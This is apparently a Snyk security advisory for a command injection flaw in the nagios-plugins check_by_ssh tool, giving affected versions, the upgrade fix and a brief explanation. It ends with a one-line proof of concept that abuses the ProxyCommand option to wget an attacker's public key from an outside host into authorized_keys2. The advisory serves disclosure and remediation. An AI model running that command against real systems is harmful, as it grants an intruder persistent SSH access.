Command Injection Affecting nagios-plugins/nagios-plugins package, versions [1.0.0,2.4.5)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-UNMANAGED-NAGIOSPLUGINSNAGIOSPLUGINS-8179648
- published10 Oct 2024
- disclosed9 Oct 2024
- creditJoshua Rogers
Introduced: 9 Oct 2024
CVE-2023-37154 (opens in a new tab)How to fix?
Upgrade nagios-plugins/nagios-plugins to version 2.4.5 or higher.
Overview
Affected versions of this package are vulnerable to Command Injection through the check_by_ssh process. An attacker can execute arbitrary commands by exploiting the ProxyCommand, LocalCommand, and PermitLocalCommand options with special characters such as ${IFS}.
PoC
check_by_ssh --command=ls -s 1 -H my-server.net -l someuser -v -o PermitLocalCommand=yes -o StrictHostKeyChecking=no -o ProxyCommand=wget\${IFS}-O\${IFS}.ssh/authorized_keys2\${IFS}http://my-website.com/pubkey.txt"